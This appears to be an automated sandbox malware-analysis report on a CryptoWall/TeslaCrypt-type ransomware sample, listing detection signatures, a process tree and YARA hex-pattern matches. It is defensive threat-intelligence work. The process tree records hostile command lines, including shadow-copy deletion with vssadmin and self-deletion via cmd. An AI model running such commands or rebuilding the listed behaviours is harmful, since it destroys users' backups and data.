Edit tour

Windows Analysis Report
0t8amSU3vd.exe

Overview

General Information

Sample name:	0t8amSU3vd.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original sample name:	ad340c9ea5510d1f0f6149fae0bd5349d6e8b01df4eccc9a2bb300be4bc9d981
Analysis ID:	1586217
MD5:	ed98ce8f541e6871d1f39943ce09dfa3
SHA1:	1fa08e8ce2c70daf4a3456eb53e48484b20d3d12
SHA256:	ad340c9ea5510d1f0f6149fae0bd5349d6e8b01df4eccc9a2bb300be4bc9d981
Infos:

Detection

CryptoWall, TrojanRansom

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (overwrites its own PE header)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected CryptoWall ransomware

Yara detected TrojanRansom

AI detected suspicious sample

Contains functionality to determine the online IP of the system

Creates autostart registry keys with suspicious names

Creates files in the recycle bin to hide itself

Deletes itself after installation

Deletes shadow drive data (may be related to ransomware)

Drops a file containing file decryption instructions (likely related to ransomware)

Found Tor onion address

Found potential ransomware demand text

Hides that the sample has been downloaded from the Internet (zone.identifier)

Installs new ROOT certificates

Machine Learning detection for sample

May disable shadow drive data (uses vssadmin)

May drop file containing decryption instructions (likely related to ransomware)

Modifies existing user documents (likely ransomware behavior)

Moves / writes many txt or jpg files (may be a ransomware encrypting documents)

Overwrites Mozilla Firefox settings

Searches for Windows Mail specific files

Sigma detected: DNS Query Tor .Onion Address - Sysmon

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Tries to harvest and steal browser information (history, passwords, etc)

Uses TOR for connection hidding

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

Abnormal high CPU Usage

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evaded block containing many API calls

Found evasive API chain (may stop execution after checking a module file name)

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a Chrome extension

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Sigma detected: Use NTFS Short Name in Command Line

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w7x64

0t8amSU3vd.exe (PID: 3452 cmdline: "C:\Users\user\Desktop\0t8amSU3vd.exe" MD5: ED98CE8F541E6871D1F39943CE09DFA3)

svcmtr.exe (PID: 3504 cmdline: C:\Users\user\AppData\Roaming\svcmtr.exe MD5: ED98CE8F541E6871D1F39943CE09DFA3)

vssadmin.exe (PID: 3636 cmdline: "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet MD5: E23DD973E1444684EB36365DEFF1FC74)

cmd.exe (PID: 3532 cmdline: "C:\Windows\system32\cmd.exe" /c del C:\Users\user\Desktop\0T8AMS~1.EXE >> NUL MD5: AD7B9C14083B52BC532FBA5948342B98)

svcmtr.exe (PID: 3892 cmdline: "C:\Users\user\AppData\Roaming\svcmtr.exe" MD5: ED98CE8F541E6871D1F39943CE09DFA3)

svcmtr.exe (PID: 3948 cmdline: "C:\Users\user\AppData\Roaming\svcmtr.exe" MD5: ED98CE8F541E6871D1F39943CE09DFA3)

svcmtr.exe (PID: 4000 cmdline: "C:\Users\user\AppData\Roaming\svcmtr.exe" MD5: ED98CE8F541E6871D1F39943CE09DFA3)

chrome.exe (PID: 2696 cmdline: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\restore_files_gpmus.html MD5: FFA2B8E17F645BCC20F0E0201FEF83ED)

chrome.exe (PID: 2760 cmdline: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1444 --field-trial-handle=1208,i,4485940417927276280,14403554526492516596,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: FFA2B8E17F645BCC20F0E0201FEF83ED)

notepad.exe (PID: 1992 cmdline: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\restore_files_gpmus.txt MD5: B32189BDFF6E577A92BAA61AD49264E6)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cryptowall	CryptoWall is a ransomware, is usually spread by spam and phishing emails, malicious ads, hacked websites, or other malware and uses a Trojan horse to deliver the malicious payload.	No Attribution	https://ryancor.medium.com/genetic-analysis-of-cryptowall-ransomware-843f86055c7f https://sites.temple.edu/care/ci-rw-attacks/ https://www.gdatasoftware.com/blog/2019/06/31666-ransomware-identification-for-the-judicious-analyst https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowall

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.875409973.0000000000240000.00000004.00001000.00020000.00000000.sdmp	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x19436:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x12db0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12e56:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x12ef7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12f86:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x13045:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x19430:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1d2e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x19430:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1d2e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1d9b0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x12ef7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
0000000D.00000002.406412332.0000000000240000.00000004.00001000.00020000.00000000.sdmp	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x19436:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x12db0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12e56:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x12ef7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12f86:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x13045:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x19430:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1d2e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x19430:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1d2e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1d9b0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x12ef7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
0000000B.00000002.370940853.0000000000260000.00000004.00001000.00020000.00000000.sdmp	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x19436:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x12db0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12e56:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x12ef7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12f86:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x13045:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x19430:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1d2e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x19430:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1d2e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1d9b0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x12ef7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
00000000.00000002.345370025.0000000000520000.00000004.00001000.00020000.00000000.sdmp	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x19436:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x12db0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12e56:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x12ef7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12f86:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x13045:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x19430:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1d2e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x19430:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1d2e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1d9b0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x12ef7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
0000000C.00000002.387290975.00000000002C0000.00000004.00001000.00020000.00000000.sdmp	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x19436:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x12db0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12e56:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x12ef7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12f86:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x13045:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x19430:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1d2e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x19430:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1d2e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1d9b0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x12ef7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
Process Memory Space: 0t8amSU3vd.exe PID: 3452	JoeSecurity_CryptoWall	Yara detected CryptoWall ransomware	Joe Security
Process Memory Space: svcmtr.exe PID: 3504	JoeSecurity_CryptoWall	Yara detected CryptoWall ransomware	Joe Security
Process Memory Space: svcmtr.exe PID: 3504	JoeSecurity_TrojanRansom	Yara detected TrojanRansom	Joe Security
Process Memory Space: svcmtr.exe PID: 3892	JoeSecurity_CryptoWall	Yara detected CryptoWall ransomware	Joe Security
Process Memory Space: svcmtr.exe PID: 3948	JoeSecurity_CryptoWall	Yara detected CryptoWall ransomware	Joe Security
Process Memory Space: svcmtr.exe PID: 4000	JoeSecurity_CryptoWall	Yara detected CryptoWall ransomware	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.svcmtr.exe.240000.0.raw.unpack	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x19436:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x12db0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12e56:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x12ef7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12f86:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x13045:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x19430:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1d2e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 84 24 0x19430:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 0x1d2e0:$server_communication_4_1b_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 0x1d9b0:$file_search_3_1: 55 8B EC B8 94 58 01 00 E8 D3 E0 00 00 A1 7C A0 43 00 33 C5 89 45 FC 53 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FE DF FF FF 51 66 89 85 FC DF FF FF E8 0x12ef7:$search_and_encrypt_3_1: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ...
12.2.svcmtr.exe.400000.1.unpack	Win32_Ransomware_Teslacrypt	unknown	ReversingLabs	0x19436:$server_communication_2_0_4e: B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 D0 19 00 00 83 3D 74 CD 4B 00 01 53 56 57 75 12 C7 44 24 14 18 4B 43 00 C7 44 24 1C 20 4B 43 00 EB 1A A1 1C CA 43 00 50 C7 44 24 18 ... 0x12db0:$search_and_encrypt_2_0_4e_1: 55 8B EC B8 5C 42 00 00 E8 D3 8C 01 00 A1 7C A0 43 00 33 C5 89 45 FC 53 8B 5D 08 56 57 33 C0 68 FE 1F 00 00 50 8D 8D FA DF FF FF 51 66 89 85 F8 DF FF FF E8 28 7F 01 00 83 C4 0C 33 D2 68 FE 1F ... 0x12e56:$search_and_encrypt_2_0_4e_2: 0F 84 95 02 00 00 F6 85 A8 BD FF FF 10 0F 84 96 01 00 00 8D 8D D4 BD FF FF B8 1C 49 43 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE ... 0x12ef7:$search_and_encrypt_2_0_4e_3: 8B C3 83 C4 0C 8D 50 02 90 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 D1 F8 83 F8 03 76 19 68 CC 48 43 00 8D 85 F8 DF FF FF 68 00 10 00 00 50 E8 F6 0C 01 00 83 C4 0C 8D 8D D4 BD FF FF 51 8D 95 F8 ... 0x12f86:$search_and_encrypt_2_0_4e_4: 8D 8D F8 DF FF FF B8 20 0B 4D 00 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 02 66 3B 51 02 75 0F 83 C0 04 83 C1 04 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 FF 85 C0 0F 84 10 01 00 00 8B 45 ... 0x13045:$search_and_encrypt_2_0_4e_5: 8D 85 D4 BD FF FF 83 C4 0C 8D 50 02 66 8B 08 83 C0 02 66 85 C9 75 F5 2B C2 8D 95 D4 BD FF FF D1 F8 52 8D 78 01 E8 89 0C 01 00 83 C4 04 8B F0 57 56 E8 B8 0A 01 00 8B 3D CC 12 43 00 68 28 49 43 ... 0x19430:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 D4 19 00 00 E8 50 26 01 00 A1 7C A0 43 00 33 C4 89 84 24 0x1d2e0:$server_communication_4_0_1: 55 8B EC 83 E4 F8 B8 78 20 00 00 E8 A0 E7 00 00 A1 7C A0 43 00 33 C4 89 